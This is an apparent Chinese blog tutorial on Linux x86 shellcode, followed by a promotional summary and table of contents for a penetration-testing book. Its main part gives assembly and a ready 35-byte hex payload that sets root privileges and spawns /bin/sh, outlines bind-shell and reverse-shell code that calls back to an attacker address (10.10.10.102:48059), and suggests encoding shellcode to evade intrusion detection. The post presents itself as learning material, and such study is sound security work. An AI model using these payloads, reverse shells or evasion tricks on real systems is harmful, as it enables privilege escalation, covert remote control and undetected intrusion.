Shellcode的基本介绍

对于初期接触网络安全的人来说,Shellcode是很神秘的东西,对于网络攻击过程中的嗅探信息、漏洞剖析都是可以理解的,但真正利用漏洞入侵时,通过把一段二进制码送入后并执行,就可以获得目标机器的控制权,之后的事情是属于爱好者学习技术,还是黑客的行为,就看攻击者的一念之差了。Shellcode就好象神秘的武器,安全防护变得如此不堪一击。Shellcode究竟是什么样的程序?是什么特殊代码?如何才能学会编写?我下面收集了几类常见的Shellcode,主要是学习使用。它其实也是一般的软件程序,主要是因为二进制码的“不可读性”,增加了神秘色彩。
Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的ShellShellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被攻击者利用系统的漏洞送入系统中执行,从而获取特殊权限的执行环境,或给自己设立有特权的帐户。Shellcode因操作系统有一些差异,这里以Linux为例。
Shellcode是一段高技巧的软件代码,为了小而精,一般直接写为16进制的操作码,当然编写者一般采用C或汇编编写,然后通过汇编程序成为16进制的操作码。
1、获取特殊权限:攻击的目标通常是某个SUID(具有高权限的系统程序)程序,因为它可以具有较高的特权去执行一些命令(比如修口令等),好的SUID程序会在不必要时放弃过高的特权,需要时再重新设置获取特权。Setreuid是用来设置(恢复)进程的真实和有效的用户ID。当然也就可以设置root(0)的权限。
xor ebx,ebx 参数一:真实用户id(ruid)=0
xor ecx,ecx 参数二:有效用户id(euid)=0
xor eax,eax
mov al,0×46 系统调用0×46
int 0×80 设置setreuid(0,0)
有了root(0)用户权限,系统基本就归你指挥了。
2、执行/bin/sh 有了特权,还要有个“工作室”,shellLinux常用的控制台,取得一个有特权的shell,就可以让你“随意”工作了。建立一个shell并不复杂,一般采用execve调用执行/bin/sh软件
char *shell[2]
shell[0]=”/bin/sh”;
shell[1]=0;
execve(shell[0],shell,NULL);
该调用C语言编写很简单,对应的汇编代码也不复杂:
xor eax,eax eax=0
push eax eax=null
push 0×68732f2f 压栈 //sh
push 0×6e69622f 压栈 /bin
mov ebx,esp ebx=esp指向/bin/sh
push eax eax=null 结束栈null
push ebx 参数ebx指向/bin/sh
mov ecx,esp 参数ecx指向[“/bin/sh”,NULL]
xor edx,edx 参数4 edx=NULL
mov al,0xb 参数1 eax=0xb
int 0×80
综合以上两个部分,就是最常见的Shellcode了,具体生成的16进制代码如下(35个字节)
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80 ;setreuid(0,0)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1
\x31\xd2\xb0\x0b\xcd\x80 ;执行/bin/sh
该代码可以放置在缓冲区内,通过指针函数调用执行。在缓冲区溢出等方式获得执行权利时,运行该段代码就可以打开一个具有root(0)权限的shell界面。
Shellcode在不同的场合,可能有严格的限制,比如在命令行溢出漏洞时,不能太大,没有有效的空间来存放代码,所以要严格精简代码的长度。在SQL注入时对长度的要求更加苛刻,所以很多业界流行的、优秀的Shellcode是经过各种技巧精练的结果。Shellcode是攻击注入代码的统称,并非一定是打开Shell,根据漏洞程序本身的特性有很多的改变,有兴趣的朋友可以从网上收集。
3、绑定到端口的Shellcode
shellcode在目标计算机上打开一个端口(通讯服务),并将Shell绑定到该端口,攻击者可以放弃入侵时的用的端口,等于在目标机器上建立了系统的后门。该端口可以为入侵者随时建立连接,因为是打开了shell,所以等于建立远程控制目标的控制台。
开启服务离不开SocketSocket定义为一个端口和一个IP到一个进程的绑定。
a) 建立本地IP SocketTCP
int server
server=socket(2,1,0)
b) IP和端口建立一个Sockaddr_in结构
struct sockaddr_in server_addr
server_addr.sin_addr.s_addr=0 socket的地址设为本地地址
server_addr.sin_port=0xBBBB socket的端口设为0xBBBB=48059
server_addr.sin_family=2 协议族为IP
c) 将端口和IP绑定到Socket
bind(server, (struct sockaddr *)&server_addr, 0×10)
d) 以监听模式启动socket:打开端口并等待连接
listen(server, 0)
e) 有连接时,向客户返回一个句柄
int client
client=accept(server, 0, 0)
f) 将返回的句柄,复制到stdinstdoutstderrshell输出到攻击者(client)的屏幕
dup2(client,0)
dup2(client,1)
dup2(client,2)
g) 调用普通的execve执行shellcode
char *shell[2]
shell[0]=”/bin/sh”
shell[1]=0
execve(shell[0], shell, 0)
4、反向连接的shellcode
当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用上边的shellcode建立了服务后门,你还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(攻击者的)和端口反向连接到攻击者,也可以设定为在固定的时间段主动来建立连接。
很多木马就利用这种方式,主动连接带木马的管理者,“神不知,鬼不觉”地把目标计算机加入到某个“僵尸网络”的黑社会团伙中。
a) 建立本地IP SocketTCP
int soc
soc=socket(2,1,0)
b) IP和端口建立一个Sockaddr_in结构
struct sockaddr_in server_addr
server_addr.sin_addr.s_addr=0×660A0A0A socket的地址设为10.10.10.102
server_addr.sin_port=0xBBBB socket的端口设为0xBBBB=48059
server_addr.sin_family=2 协议族为IP
c) 建立反向连接connect
int remote
remote=connect(soc, (struct sockaddr*)&server_addr, 0×10)
d) socket复制到stdinstdoutstderrshell输出到攻击者的屏幕
dup2(soc,0)
dup2(soc,1)
dup2(soc,2)
e) 调用普通的execve执行shellcode
char *shell[2]
shell[0]=”/bin/sh”
shell[1]=0
execve(shell[0], shell, 0)
注意:10.10.10.102为防火墙外攻击机器的地址,此时在该机器上要启动一个监听48059端口的服务
5、躲避IDS的过滤
由于经典的Shellcode并不是有很多的版本,大多数人员都是采用同样的Shellcode,很少有人自己编写。所以IDS厂商把常见的Shellcode的指纹提取出来,作为验证攻击行为的“特征”,很多攻击行为就暴露在IDS的监控之下,网络管理人员可以很快知道你到了他的网络内部,进而采取“捕获”措施。
所以,隐藏指纹,变换代码,Shellcode也在不断更新。技术很多,这里就不例举了,提一个有意思的思路:因为Shellcode的基本功能相同,都是诱使目标机器执行这些指令,目标代码在传输和存放时是很容易被IDS或系统察觉的,那么直到被执行前才恢复原来面貌是一个好注意。所以有人通过把代码简单移位,“加密”后的代码没有任何“意义”,到执行前再反向移位,被检测到的概率就小多了,这种方式对躲避IDS是很有效果的
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
内容提要   《网络渗透技术》是国内第一本全面深入地披露系统与网络底层安全技术的书籍。本书分为十个章节,详细介绍了渗透测试技术的方方面面。   首先介绍了各种调试器和分析工具的简单使用,然后从各种操作系统的体系结构讲起,深入浅出地分析了相应平台的缓冲区溢出利用技术,接着介绍其高级shellcode技术,以及更深入的堆溢出利用技术等。除了用户层的利用技术,在第6章还以Linux操作系统为例详细地介绍了内核溢出的各种利用技术。另外还结合实例,详细介绍了类UNIX系统漏洞分析与发掘技术。   本书不放过每一处技术细节,记录了分析调试过程的每一个步骤,并且给出详细的演示程序。在最后两个章节,本书还对渗透测试撕裂口——Web应用的渗透做了精辟的描述。   本书是XFOCUS团队倾力之作,对于有志于网络安全事业人士而言,本书是一本不可多得的专业参考书。 编辑本段编辑推荐   本书作者均来自专注于网络安全技术的著名站点XPOCUS,Xcon是由XFOCUS TEAM组织的民间信息安全年会,其宗旨是创造自由、交流、共享、创新的学术气氛,促进信息安全技术的发展。   第一届Xcon都是新的超越,我们期待与您相会。 编辑本段目录   第1章 基础知识   1.1 GDB的基本使用方法   1.1.1 断点相关命令   1.1.2 执行相关命令   1.1.3 信息查看相关命令   1.1.4 其他常用命令   1.1.5 Insight图形界面调试器   1.2 SoftICE的基本使用方法   1.2.1 断点相关命令   1.2.2 执行相关命令   1.2.3 查看与修改相关命令   1.2.4 其他常用命令   1.2.5 常用默认快捷键   1.3 NTSD(WinDbg/CDB)的基本使用方法   1.3.1 断点相关命令   1.3.2 执行相关命令   1.3.3 查看与修改相关命令   1.3.4 其他常用命令   1.4 IDA Pro的基本使用方法   1.4.1 强大的反汇编功能   1.4.2 方便的代码阅读功能   1.4.3 常用默认快捷键   第2章 缓冲区溢出利用技术   2.1 缓冲区溢出历史   2.2 Linux x86平台缓冲区溢出利用技术   2.2.1 Linux的内存管理   2.2.2 缓冲区溢出的流程   2.2.3 缓冲区溢出的攻击技术   2.3 Win32平台缓冲区溢出利用技术   2.3.1 Win32平台缓冲区溢出的流程   2.3.2 跳转地址   2.3.3 远程缓冲区溢出演示   2.3.4 结构化异常处理   2.3.5 Windows XP和2003下的增强异常处理   2.3.6 突破Windows 2003堆栈保护   2.4 AIX PowerPC平台缓冲区溢出利用技术   2.4.1 熟悉PowerPC体系及其精简指令集计算   2.4.2 AIX PowerPC堆栈结构   2.4.3 学习如何攻击AIX PowerPC的溢出程序   2.5 Solaris SPARC平台缓冲区溢出利用技术   2.5.1 SPARC体系结构   2.5.2 Solaris SPARC堆栈结构及函数调用过程   2.5.3 学习如何攻击Solaris SPARC的溢出程序   2.6 HP-UX PA平台缓冲区溢出利用技术   2.6.1 PA-RISC体系结构   2.6.2 常用指令集   2.6.3 运行时体系结构(Run~time Architecture)   2.6.4 学习如何攻击HP-UX下的溢出程序   2.7 Windows CE缓冲区溢出利用技术   2.7.1 ARM简介   2.7.2 Windows CE内存管理   2.7.3 Windows CE的进程和线程   2.7.4 Windows CE的API搜索技术   2.7.5 Windows CE缓冲区溢出流程演示   第3章 Shellcode技术   3.1 Linux x86平台Shellcode技术   3.1.1 熟悉系统调用   3.1.2 得到ShellShellcode   3.1.3 提取Shellcode的Opcode   3.1.4 渗透防火墙的Shellcode   3.2 Win32平台Shellcode技术   3.2.1 获取kernel32.dll基址   3.2.2 获取Windows API地址   3.2.3 写一个实用的Windows Shellcode   3.2.4 渗透防火墙的Shellcode   3.3 AIX PowerPC平台Shellcode技术   3.3.1 学习AIX PowerPC汇编   3.3.2 学写AIX PowerPC的Shellcode   3.3.3 远程Shellcode   3.3.4 遭遇I-cache   3.3.5 查找socket的Shellcode   3.4 Solaris SPARC平台的Shellcode技术   3.4.1 Solaris系统调用   3.4.2 得到shellShellcode   3.4.3 Shellcode中的自身定位   3.4.4 解码Shellcode   3.4.5 渗透防火墙的Shellcode   第4章 堆溢出利用技术   第5章 格式化串漏洞利用技术   第6章 内核溢出利用技术   第7章 其他利用技术   第8章 漏洞发掘分析   第9章 CGI渗透测试技术   第10章 SQL注入利用技术   附录A 网络安全英文术语解释

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值